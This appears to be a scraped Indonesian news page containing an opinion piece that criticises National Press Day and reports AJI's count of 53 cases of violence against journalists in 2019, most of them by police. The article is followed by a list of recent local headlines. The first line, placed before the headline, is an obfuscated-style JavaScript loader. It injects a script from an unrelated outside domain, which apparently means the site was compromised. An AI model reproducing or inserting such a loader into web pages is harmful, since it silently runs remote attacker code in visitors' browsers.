(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Menggugat Hari Pers Nasional, Jejak Orde Baru dan Bayang Kekerasan terhadap Jurnalis


Bersama Henri Constant Claude Clockener Brousson, Rivai menerbitkan Bintang Hindia pada Juli 1902. Meski berbeda dengan Tirto, Abdoel Rivai ini dulu lebih ‘kooperatif’ terhadap Belanda. Dia pernah memimpin surat kabar milik Belanda.

 

Di dalam surat kabar itu ia mengajarkan kemajuan, menjadikan bumiputera ini sebagai kemajuan jurnalisme. Pada waktu itu, Rivai mempunyai strategi mengajarkan nasionalisme dan kebangsaan.

Rivai juga seorang koresponsen pribumi yang pertama yang menulis surat kabar di Indonesia. Ia pernah tinggal di Belanda, Paris dan Eropa.

Kekerasan terhadap Jurnalis

Kekerasan terhadap jurnalis menjadi salah satu isu besar yang perlu mendapat sorotan. Mengambil momentum perayaan HPN 2020 di Kalimantan Selatan yang kali ini mengangkat tema “Pers Menggelorakan Kalimantan Selatan Gerbang Ibu Kota Negara”, problem itu masih menjadi topik yang amat jauh dibahas secara spesifik.

Ketimbang memilih topik krusial tersebut, pemerintah dan penyelenggara HPN justru masih berkutat dengan pembahasan isu-isu umum kewartawanan; paling mentok isu kemerdekaan pers. HPN kali ini bertabur acara-acara yang bersifat pada sebagian sisi juga hanyalah seremoni belaka. Tak ada pernyataan dari para petinggi negara yang menyentil komitmen untuk dua persoalan itu.

Padahal, dalam catatan Aliansi Jurnalis Independen (AJI), terdapat 53 kasus kekerasan jurnalis yang terjadi sepanjang 2019 lalu. Dalam catatan tersebut, kasus kekerasan masih didominasi oleh kekerasan fisik sebanyak 20 kasus.

Setelah itu, diikuti oleh perusakan alat atau data hasil liputan (14 kasus), ancaman kekerasan atau teror (6 kasus), pemidanaan atau kriminalisasi (5 kasus), pelarangan liputan (4 kasus). Hasil monitoring AJI, polisi mendominasi dengan angka mencapai 30 kasus. Pelaku kekerasan terbanyak kedua adalah warga (7 kasus), organisasi massa atau organisasi kemasyarakatan (6 kasus), orang tak dikenal (5 kasus).

Sebagian besar kasus kekerasan itu terjadi selama demonstrasi di depan kantor Badan Pengawas Pemilu 20-21 Mei 2019 dan demonstrasi mahasiswa 23-30 September 2019 lalu. Menurut identifikasi yang dilakukan AJI, serta verifikasi yang dilakukan oleh Komite Keselamatan Jurnalis, pola dari kasus kekerasan itu sama: pelakunya polisi, penyebabnya adalah karena jurnalis mendokumentasikan kekerasan yang dilakukan mereka.


Page: 1 2 3 4 5

Desy Arfianty

Recent Posts

Puncak Musim Penghujan, Masyarakat Kabupaten Banjar Diminta Tingkatkan Kesiagaan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur diwakili Sekda HM Hilman menyampaikan beberapa hal… Read More

6 bulan ago

Pasang Lampu Lalin di Trikora – Guntung Manggis atau Menjadi Simpang Tiga

KANALKALIMANTAN.COM, BANJARBARU – Rekayasa lalu lintas di perempatan Jalan Trikora - Jalan Guntung Manggis, Kecamatan… Read More

6 bulan ago

Sekda Kalsel Roy Rizali Ditarik ke Pusat, Dilantik Jadi Dirjen Bina Marga

KANALKALIMANTAN.COM, BANJARBARU - Satu lagi putra daerah Kalimantan Selatan (Kalsel) melenggang ke Kementerian jajaran kabinet… Read More

6 bulan ago

Peringati Isra Mikraj, Sekda HSU: Luangkan Waktu Salat Berjamaah di Sela Bekerja

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Isra Mikraj Nabi Muhammad… Read More

6 bulan ago

Balap Liar di Kawasan Gubernuran Kalsel, Polisi Amankan 9 Motor

KANALKALIMANTAN.COM, BANJARBARU - Kawasan komplek perkantoran Gubernur Kalimantan Selatan (Kalsel) kembali menjadi sasaran penertiban dugaan… Read More

6 bulan ago

AJI Persiapan Banjarmasin Resmi Deklarasi, Langkah Awal Menjaga Marwah Jurnalisme Independen

KANALKALIMANTAN.COM, BANJARMASIN - Deklarasi Aliansi Jurnalis Independen (AJI) Persiapan Banjarmasin berlangsung antusias dan hikmad, di… Read More

6 bulan ago

This website uses cookies.